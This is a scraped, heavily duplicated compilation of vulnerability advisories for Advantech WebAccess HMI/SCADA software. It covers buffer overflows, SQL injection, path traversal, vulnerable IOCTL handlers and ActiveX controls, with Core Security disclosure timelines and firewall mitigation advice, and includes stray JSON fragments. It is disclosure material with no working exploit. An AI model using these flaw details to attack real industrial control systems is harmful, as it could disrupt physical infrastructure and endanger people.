This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within nvA1Media.ocx. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A stack buffer overflow vulnerability exists in Advantech WebAccess 'nvA1Media.ocx'. Failed exploit attempts will likely cause a denial-of-service condition

Only the clients and servers that have a legitimate procedural relationship with the service should be permitted to communicate with it. This could be accomplished in a number of ways, most notably with firewall rules/whitelisting. These features are available in the native Windows Firewall, as described in and numerous other Microsoft Knowledge Base articles.",

Vulnerability from variot
Stack-based buffer overflow in Advantech WebAccess (formerly BroadWin WebAccess) 7.2 allows remote attackers to execute arbitrary code via the UserName parameter. Advantech WebAccess is an IE-based HMI/SCADA monitoring software that features all engineering projects, database setup, drawing and software management using a standard browser over the internet or intranet. A buffer overflow vulnerability exists in Advantech WebAccess. An attacker exploits a vulnerability to execute arbitrary code in the context of an affected application or to crash the entire application. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed exploit attempts will likely cause a denial-of-service condition. Advantech WebAccess 7.2 is vulnerable; other versions may also be affected. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment.

WebAccess HMI/SCADA software provides remote control and management, allowing users to easily view and configure automation equipment in facility management systems, power stations and building automation systems. Advantech WebAccess is prone to following security vulnerabilities: 1. A denial-of-service vulnerability 2. An arbitrary file-upload vulnerability 3. A directory-traversal vulnerability 4. Multiple stack-based buffer-overflow vulnerabilities 5. A heap-based buffer overflow vulnerability 6. Multiple buffer-overflow vulnerabilities 7. Multiple information disclosure vulnerabilities 8. A cross-site scripting vulnerability 9. An SQL-injection vulnerability 10. A cross-site request forgery vulnerability 11. A remote-code execution vulnerability An attacker can exploit these issues to execute arbitrary code in the context of the application, cause a denial-of-service condition, upload arbitrary files, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to use directory-traversal sequences ('../') to retrieve arbitrary files, obtain sensitive information and perform certain unauthorized actions. This may aid in further attacks. Advantech WebAccess 8.0 and prior versions are vulnerable. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within tv_enua.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of Administrator.

Vulnerability from variot
Multiple SQL injection vulnerabilities in DBVisitor.dll in Advantech WebAccess before 7.2 allow remote attackers to execute arbitrary SQL commands via SOAP requests to unspecified functions. Authentication is not required to exploit this vulnerability. The specific flaw exists within the DBVisitor.dll component. These flaws allow an attacker to execute arbitrary SQL statements in the context of the web service and to exfiltrate data (including the account names and password hashes) from the vulnerable product. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. There is a SQL injection vulnerability in Advantech WebAccess. Because the SOAP interface exposes DBVisitor.dll, it allows an attacker to exploit a vulnerability to submit a specially crafted SOAP request, inject or manipulate a SQL query, and obtain sensitive sensitive information or manipulate the database. Advantech WebAccess is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an attacker to compromise the application, to access or modify data, or to exploit vulnerabilities in the underlying database. Advantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment

"data": "Multiple SQL injection vulnerabilities in DBVisitor.dll in Advantech WebAccess before 7.2 allow remote attackers to execute arbitrary SQL commands via SOAP requests to unspecified functions. Authentication is not required to exploit this vulnerability. The specific flaw exists within the DBVisitor.dll component. These flaws allow an attacker to execute arbitrary SQL statements in the context of the web service and to exfiltrate data (including the account names and password hashes) from the vulnerable product. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. There is a SQL injection vulnerability in Advantech WebAccess. Because the SOAP interface exposes DBVisitor.dll, it allows an attacker to exploit a vulnerability to submit a specially crafted SOAP request, inject or manipulate a SQL query, and obtain sensitive sensitive information or manipulate the database. Advantech WebAccess is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. \nA successful exploit could allow an attacker to compromise the application, to access or modify data, or to exploit vulnerabilities in the underlying database. \nAdvantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment",

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within RtspVapgDecoderNew2.dll. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process.

Vulnerability from variot
Multiple stack-based buffer overflows in unspecified DLL files in Advantech WebAccess before 8.0.1 allow remote attackers to execute arbitrary code via unknown vectors. WebAccess HMI/SCADA is software that provides remote control and management. Advantech WebAccess is prone to multiple stack-based buffer-overflow vulnerabilities because it fails to adequately bounds-check user-supplied data before copying it to an insufficiently sized memory buffer. Failed attacks will likely cause denial-of-service conditions. Advantech WebAccess 8.0 and prior are vulnerable. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech

WebAccess HMI/SCADA is software that provides remote control and management. Advantech WebAccess is prone to multiple stack-based buffer-overflow vulnerabilities because it fails to adequately bounds-check user-supplied data before copying it to an insufficiently sized memory buffer. Failed attacks will likely cause denial-of-service conditions. \nAdvantech WebAccess 8.0 and prior are vulnerable. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech",

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within VideoDAQ.dll. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process.

This could be accomplished in a number of ways, most notably with firewall rules/whitelisting. These features are available in the native Windows Firewall, as described in and numerous other Microsoft Knowledge Base articles.",

Vulnerability from variot
An Improper Authentication issue was discovered in Advantech WebAccess versions prior to V8.2_20170817. Specially crafted requests allow a possible authentication bypass that could allow remote code execution. Advantech WebAccess Contains an authentication vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to the following security vulnerabilities: 1. Multiple stack-based buffer-overflow vulnerabilities 2. Multiple heap-based buffer-overflow vulnerabilities. 3. Multiple memory-corruption vulnerabilities. 4. An SQL-injection vulnerability. 5. A format-string vulnerability. 6. An authentication-bypass vulnerability. 7. A security-bypass vulnerability. 8. A privilege-escalation vulnerability. 9. A remote-code execution vulnerability. An attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database,perform certain unauthorized actions, gain unauthorized access and gain elevated privileges. This may aid in further attacks

Vulnerability from variot
Stack-based buffer overflow in Advantech WebAccess (formerly BroadWin WebAccess) 7.2 allows remote attackers to execute arbitrary code via the password parameter. Advantech WebAccess is an IE-based HMI/SCADA monitoring software that features all engineering projects, database setup, drawing and software management using a standard browser over the internet or intranet. A buffer overflow vulnerability exists in Advantech WebAccess. An attacker exploits a vulnerability to execute arbitrary code in the context of an affected application or to crash the entire application. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed exploit attempts will likely cause a denial-of-service condition. Advantech WebAccess 7.2 is vulnerable; other versions may also be affected. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment.

"data": "Stack-based buffer overflow in Advantech WebAccess (formerly BroadWin WebAccess) 7.2 allows remote attackers to execute arbitrary code via the password parameter. Advantech WebAccess is an IE-based HMI/SCADA monitoring software that features all engineering projects, database setup, drawing and software management using a standard browser over the internet or intranet. A buffer overflow vulnerability exists in Advantech WebAccess. An attacker exploits a vulnerability to execute arbitrary code in the context of an affected application or to crash the entire application. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed exploit attempts will likely cause a denial-of-service condition. \nAdvantech WebAccess 7.2 is vulnerable; other versions may also be affected. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment. Core Security - Corelabs Advisory\nhttp://corelabs.coresecurity.com/\n\nAdvantech WebAccess Vulnerabilities\n\n\n1. *Advisory Information*\n\n Title: Advantech WebAccess Vulnerabilities\n Advisory ID: CORE-2014-0005\n Advisory URL:\nhttp://www.coresecurity.com/advisories/advantech-webaccess-vulnerabilities\n Date published: 2014-09-02\n Date of last update: 2014-09-01\n Vendors contacted: Advantech\n Release mode: User release\n\n\n2. *Vulnerability Description*\n\n Advantech WebAccess [1] is a browser-based\n software package for human-machine interfaces HMI, and supervisory\n control and data acquisition SCADA. \n\n\n4.

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within nvA1Media.ocx. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the current process. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within RtspVapgDecoderNew2.dll. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process.

Vulnerability from variot
In WebAccess/SCADA Versions 8.3.5 and prior, multiple out-of-bounds write vulnerabilities are caused by a lack of proper validation of the length of user-supplied data. Exploitation of these vulnerabilities may allow remote code execution. WebAccess/SCADA Contains an out-of-bounds vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Authentication is not required to exploit this vulnerability.The specific flaw exists within bwdraw.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess/SCADA is a browser-based SCADA software from Advantech, Taiwan. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess/SCADA is prone to the following security vulnerabilities: 1. A directory-traversal vulnerability 2. Multiple stack-based buffer-overflow vulnerabilities 3. Multiple heap-based buffer-overflow vulnerabilities 4. An information disclosure vulnerability 5. Multiple remote-code execution vulnerabilities An attacker can exploit these issues to execute arbitrary code in the context of the application, modify and delete files, use directory-traversal sequences (â??../â??) to retrieve arbitrary files, escalate privileges and perform certain unauthorized actions or obtain sensitive information. This may aid in further attacks. Advantech WebAccess/SCADA Versions 8.3.5 and prior versions are vulnerable. The vulnerability stems from the fact that the program does not correctly verify the length of the data provided by the user

An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess/SCADA is a browser-based SCADA software from Advantech, Taiwan. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess/SCADA is prone to the following security vulnerabilities:\n1. A directory-traversal vulnerability\n2. Multiple stack-based buffer-overflow vulnerabilities\n3. Multiple heap-based buffer-overflow vulnerabilities\n4. An information disclosure vulnerability\n5. Multiple remote-code execution vulnerabilities\nAn attacker can exploit these issues to execute arbitrary code in the context of the application, modify and delete files, use directory-traversal sequences (\u00e2??../\u00e2??) to retrieve arbitrary files, escalate privileges and perform certain unauthorized actions or obtain sensitive information. This may aid in further attacks. \nAdvantech WebAccess/SCADA Versions 8.3.5 and prior versions are vulnerable. The vulnerability stems from the fact that the program does not correctly verify the length of the data provided by the user",

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on affected installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within BwFreRPT.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current user.

Vulnerability from variot
A SQL Injection issue was discovered in Advantech WebAccess versions prior to V8.2_20170817. By submitting a specially crafted parameter, it is possible to inject arbitrary SQL statements that could allow an attacker to obtain sensitive information. This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations of Advantech WebAccess. Authentication is required to exploit this vulnerability, but can be easily bypassed.The specific flaw exists within rmTemplate.aspx. The vulnerability is caused by lack of input validation before using a remotely supplied string to construct SQL queries. An attacker can use this vulnerability to disclose passwords of administrative accounts used by Advantech WebAccess. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. Advantech WebAccess is prone to the following security vulnerabilities: 1. Multiple stack-based buffer-overflow vulnerabilities 2. Multiple heap-based buffer-overflow vulnerabilities. 3. Multiple memory-corruption vulnerabilities. 4. An SQL-injection vulnerability. 5. A format-string vulnerability. 6. An authentication-bypass vulnerability. 7. A security-bypass vulnerability. 8. A privilege-escalation vulnerability. 9. A remote-code execution vulnerability. An attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database,perform certain unauthorized actions, gain unauthorized access and gain elevated privileges. This may aid in further attacks. Advantech WebAccess versions prior to V8.2_20170817 are vulnerable

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within RtspVapgDecoderNew2.dll. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a stack-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment

Vulnerability from variot
In WebAccess versions 8.4.1 and prior, multiple stack-based buffer overflow vulnerabilities are caused by a lack of proper validation of the length of user-supplied data. Exploitation of these vulnerabilities may allow remote code execution. WebAccess Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Authentication is not required to exploit this vulnerability.The specific flaw exists within cnvlgxtag.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess is a set of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment. The vulnerability stems from the fact that the program does not properly verify the length of user input data

Vulnerability from variot
Multiple stack-based buffer overflows in an unspecified DLL file in Advantech WebAccess before 8.0_20150816 allow remote attackers to execute arbitrary code via a crafted file that triggers long string arguments to functions. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech, China. A heap buffer overflow vulnerability exists in Advantech WebAccess. A local attacker could exploit the vulnerability to execute arbitrary code and may also cause a denial of service. Advantech WebAccess is prone to a local stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input. Failed exploit attempts will likely cause denial-of-service conditions. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment

Vulnerability from variot
Advantech WebAccess Node, Version 8.4.4 and prior, Version 9.0.0. Multiple relative path traversal vulnerabilities exist that may allow a low privilege user to overwrite files outside the application’s control. Advantech WebAccess Node Exists in a past traversal vulnerability.Information is tampered with and service operation is interrupted (DoS) It may be put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess/SCADA. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of IOCTL 0x0000791e in DATACORE.exe. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess is a browser-based SCADA software package for monitoring, data acquisition, and visualization. It is used to automate complex industrial processes when remote operation is required. Advantech WebAccess Node could allow a remote malicious user to traverse directories on the system, caused by improper validation of user request. An attacker could send a specially-crafted URL request containing "dot dot" sequences (/../) to overwrite arbitrary files on the system

"data": "Advantech WebAccess Node, Version 8.4.4 and prior, Version 9.0.0. Multiple relative path traversal vulnerabilities exist that may allow a low privilege user to overwrite files outside the application\u2019s control. Advantech WebAccess Node Exists in a past traversal vulnerability.Information is tampered with and service operation is interrupted (DoS) It may be put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess/SCADA. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of IOCTL 0x0000791e in DATACORE.exe. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess is a browser-based SCADA software package for monitoring, data acquisition, and visualization. It is used to automate complex industrial processes when remote operation is required. Advantech WebAccess Node could allow a remote malicious user to traverse directories on the system, caused by improper validation of user request. An attacker could send a specially-crafted URL request containing \"dot dot\" sequences (/../) to overwrite arbitrary files on the system",

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on affected installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within BwImgExe.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current user.

Vulnerability from variot
Stack-based buffer overflow in Advantech WebAccess, formerly BroadWin WebAccess, before 8.0 allows remote attackers to execute arbitrary code via a crafted ip_address parameter in an HTML document. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. A stack buffer overflow vulnerability exists in Advantech WebAccess because the application failed to properly check the user-supplied data before copying it to a full-size buffer. An attacker could exploit this vulnerability to execute arbitrary code in the context of an application (usually Internet Explorer) that is affected by an ActiveX control. Failed exploit attempts will likely result in denial-of-service conditions. Advantech WebAccess 7.2 is vulnerable; other versions may also be affected. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment.

Advantech WebAccess Stack-based Buffer Overflow
- Advisory Information
Title: Advantech WebAccess Stack-based Buffer Overflow Advisory ID: CORE-2014-0010 Advisory URL: http://www.coresecurity.com/advisories/advantech-webAccess-stack-based-buffer-overflow Date published: 2014-11-19 Date of last update: 2014-11-19 Vendors contacted: Advantech Release mode: Coordinated release
-
Vulnerability Description
Advantech WebAccess [1] is a browser-based software package for human-machine interfaces HMI, and supervisory control and data acquisition SCADA.
-
WebAccess 7.2 .
-
Vendor Information, Solutions and Workarounds
Given that this is a client-side vulnerability, affected users should avoid opening untrusted '.html' files. Core Security also recommends those affected use third party software such as Sentinel [3] or EMET [2] that could help to prevent the exploitation of affected systems to some extent.
Additionally the vendor released WebAccess v8 [4] where it has deleted the vulnerable file 'webeye.ocx' but if version upgrade is being performed, the vulnerable ocx file is not deleted at all, therefore we do not consider this a correct fix.
-
Credits
This vulnerability was discovered and researched by Ricardo Narvaja from Core Security Consulting Services. The publication of this advisory was coordinated by Joaqu\xedn Rodr\xedguez Varela from Core Advisories Team.
-
This is caused because the application copies to the stack the string without checking its length.

Report Timeline . 2014-10-01:
Initial notification sent to ICS-CERT informing of the vulnerability and requesting the vendor's contact information. 2014-10-01:
ICS-CERT informs that they will ask the vendor if they want to coordinate directly with us or if they prefer to have ICS-CERT mediate. They request the vulnerability report. 2014-10-01:
ICS-CERT informs that the vendor answered that they would like the ICS-CERT to mediate the coordination of the advisory. They requested again the vulnerability report. 2014-10-01:
We send the vulnerability detail, including technical description and a PoC. 2014-10-09:
We request a status update on the reported vulnerability. 2014-10-20:
ICS-CERT informs that the vendor has patched WebAccess in version 8.0 and published it. This was done without informing us in order to make a coordianted release. The ICS-CERT asks if we can test the fix. 2014-10-21:
We clearly state how we disagree with the uncoordinated published fix. We began testing the fix. 2014-10-21:
We inform them that the "webeye.ocx" file (version 1.0.1.35) is still present in the new version. 2014-10-27:
ICS-CERT informs us that the vendor has removed the vulnerable OCX file from the new version but it doesn't remove it from previous installations, making the new version still vulnerable. 2014-11-13:
We inform them that we will publish this advisory as user release on Wednesday 19th of November. 2014-11-19:

This is caused because the\napplication copies to the stack the string without checking its length. \n \n\n/-----\n \ndocument.vdoactx.Connect(ip_address, port_no);\n\n-----/\n\n\n/-----\n \n0001C2AA 8B11 MOV EDX,DWORD PTR DS:[ECX]\n0001C2AC 8A45 08 MOV AL,BYTE PTR SS:[EBP+8]\n0001C2AF 8802 MOV BYTE PTR DS:[EDX],AL\n0001C2B1 FF01 INC DWORD PTR DS:[ECX]\n0001C2B3 0FB6C0 MOVZX EAX,AL\n0001C2B6 EB 0B JMP SHORT 0001C2C3\n\n-----/\n\n\n8. *Report Timeline*\n. 2014-10-01:\n\n Initial notification sent to ICS-CERT informing of the vulnerability\nand requesting the vendor\u0027s contact information. 2014-10-01:\n\n ICS-CERT informs that they will ask the vendor if they want to\ncoordinate directly with us or if they prefer to have ICS-CERT mediate. \nThey request the vulnerability report. 2014-10-01:\n\n ICS-CERT informs that the vendor answered that they would like the\nICS-CERT to mediate the coordination of the advisory. They requested\nagain the vulnerability report. 2014-10-01:\n\n We send the vulnerability detail, including technical description\nand a PoC. 2014-10-09:\n\n We request a status update on the reported vulnerability. 2014-10-20:\n\n ICS-CERT informs that the vendor has patched WebAccess in version\n8.0 and published it. This was done without informing us in order to\nmake a coordianted release. The ICS-CERT asks if we can test the fix. 2014-10-21:\n\n We clearly state how we disagree with the uncoordinated published\nfix. We began testing the fix. 2014-10-21:\n\n We inform them that the \"webeye.ocx\" file (version 1.0.1.35) is\nstill present in the new version. 2014-10-27:\n\n ICS-CERT informs us that the vendor has removed the vulnerable OCX\nfile from the new version but it doesn\u0027t remove it from previous\ninstallations, making the new version still vulnerable. 2014-11-13:\n\n We inform them that we will publish this advisory as user release on\nWednesday 19th of November. 2014-11-19:\n\n Advisory CORE-2014-0010 published. \n \n\n9. *References*\n\n[1] http://webaccess.advantech.com/. \n[2] http://support.microsoft.com/kb/2458544. \n[3] https://github.com/CoreSecurity/sentinel. \n[4] http://webaccess.advantech.com/webaccess_download.php?lang=eng. \n\n\n10. *About CoreLabs*\n\n CoreLabs, the research center of Core Security, is charged with\nanticipating the future needs and requirements for information security\ntechnologies.

Vulnerability from variot
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within RtspVapgDecoderNew2.dll. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the process. Advantech WebAccess is a suite of browser-based HMI/SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment

Vulnerability from variot
Stack-based buffer overflow in Advantech WebAccess (formerly BroadWin WebAccess) 7.2 allows remote attackers to execute arbitrary code via the AccessCode parameter. Advantech WebAccess is an IE-based HMI/SCADA monitoring software that features all engineering projects, database setup, drawing and software management using a standard browser over the internet or intranet. A buffer overflow vulnerability exists in Advantech WebAccess. An attacker exploits a vulnerability to execute arbitrary code in the context of an affected application or to crash the entire application. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed exploit attempts will likely cause a denial-of-service condition. Advantech WebAccess 7.2 is vulnerable; other versions may also be affected. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment.

"data": "Stack-based buffer overflow in Advantech WebAccess (formerly BroadWin WebAccess) 7.2 allows remote attackers to execute arbitrary code via the AccessCode parameter. Advantech WebAccess is an IE-based HMI/SCADA monitoring software that features all engineering projects, database setup, drawing and software management using a standard browser over the internet or intranet. A buffer overflow vulnerability exists in Advantech WebAccess. An attacker exploits a vulnerability to execute arbitrary code in the context of an affected application or to crash the entire application. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed exploit attempts will likely cause a denial-of-service condition. \nAdvantech WebAccess 7.2 is vulnerable; other versions may also be affected. Advantech WebAccess is a browser-based HMI/SCADA software developed by Advantech. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment.

Only the clients and servers that have a legitimate procedural relationship with the service should be permitted to communicate with it. This could be accomplished in a number of ways, most notably with firewall rules/whitelisting. These features are available in the native Windows Firewall, as described in and numerous other Microsoft Knowledge Base articles.",

This could be accomplished in a number of ways, most notably with firewall rules/whitelisting. These features are available in the native Windows Firewall, as described in and numerous other Microsoft Knowledge Base articles.",

Vulnerability from variot
Multiple stack-based buffer overflows in Advantech WebAccess before 8.1 allow remote attackers to execute arbitrary code via unspecified vectors. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x27B1 IOCTL in the ViewSrv subsystem. A stack-based buffer overflow vulnerability exists in a call to BwBuildPath. An attacker can use this vulnerability to execute arbitrary code in the context of an administrator of the system. WebAccess HMI/SCADA software provides remote control and management, allowing users to easily view and configure automation equipment in facility management systems, power stations and building automation systems

Vulnerability from variot
Stack-based buffer overflow in Advantech WebAccess before 7.2 allows remote attackers to execute arbitrary code via a long UserName parameter. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the webvact.ocx ActiveX Control. The control does not check the length of an attacker-supplied UserName string before copying it into a fixed length buffer on the stack. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed attempts will likely cause a denial-of-service condition. Advantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment. There is a stack-based buffer overflow vulnerability in Advantech WebAccess 7.1 and earlier versions

"data": "Stack-based buffer overflow in Advantech WebAccess before 7.2 allows remote attackers to execute arbitrary code via a long UserName parameter. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the webvact.ocx ActiveX Control. The control does not check the length of an attacker-supplied UserName string before copying it into a fixed length buffer on the stack. Advantech WebAccess HMI/SCADA is an HMI/SCADA software. Advantech WebAccess is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. Failed attempts will likely cause a denial-of-service condition. \nAdvantech WebAccess 7.1 and prior are vulnerable. The software supports dynamic graphic display and real-time data control, and provides functions of remote control and management of automation equipment. There is a stack-based buffer overflow vulnerability in Advantech WebAccess 7.1 and earlier versions",

Vulnerability from variot
Advantech WebAccess Node, Version 8.4.4 and prior, Version 9.0.0. An improper validation vulnerability exists that could allow an attacker to inject specially crafted input into memory where it can be executed. Advantech WebAccess Node Exists in a past traversal vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Advantech WebAccess/SCADA. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of IOCTL 0x0000521e in DATACORE.exe. The issue results from the lack of proper validation of user-supplied data, which can result in a memory access past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess is a browser-based SCADA software package for monitoring, data acquisition, and visualization. It is used to automate complex industrial processes when remote operation is required

"data": "Advantech WebAccess Node, Version 8.4.4 and prior, Version 9.0.0. An improper validation vulnerability exists that could allow an attacker to inject specially crafted input into memory where it can be executed. Advantech WebAccess Node Exists in a past traversal vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Advantech WebAccess/SCADA. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of IOCTL 0x0000521e in DATACORE.exe. The issue results from the lack of proper validation of user-supplied data, which can result in a memory access past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess is a browser-based SCADA software package for monitoring, data acquisition, and visualization. It is used to automate complex industrial processes when remote operation is required",

In Advantech WebAccess versions V8.2_20170817 and prior, WebAccess versions V8.3.0 and prior, WebAccess Dashboard versions V.2.0.15 and prior, WebAccess Scada Node versions prior to 8.3.1, and WebAccess/NMS 2.0.3 and prior, several untrusted pointer dereference vulnerabilities have been identified, which may allow an attacker to execute arbitrary code. plural Advantech WebAccess The product includes NULL A vulnerability related to pointer dereference exists.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x277e IOCTL in the webvrpcs process. The issue results from the lack of proper validation of a user-supplied value prior to dereferencing it as a pointer. An attacker can leverage this functionality to execute code under the context of Administrator. Advantech WebAccess and others are products of Advantech. Advantech WebAccess is a browser-based HMI/SCADA software. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. 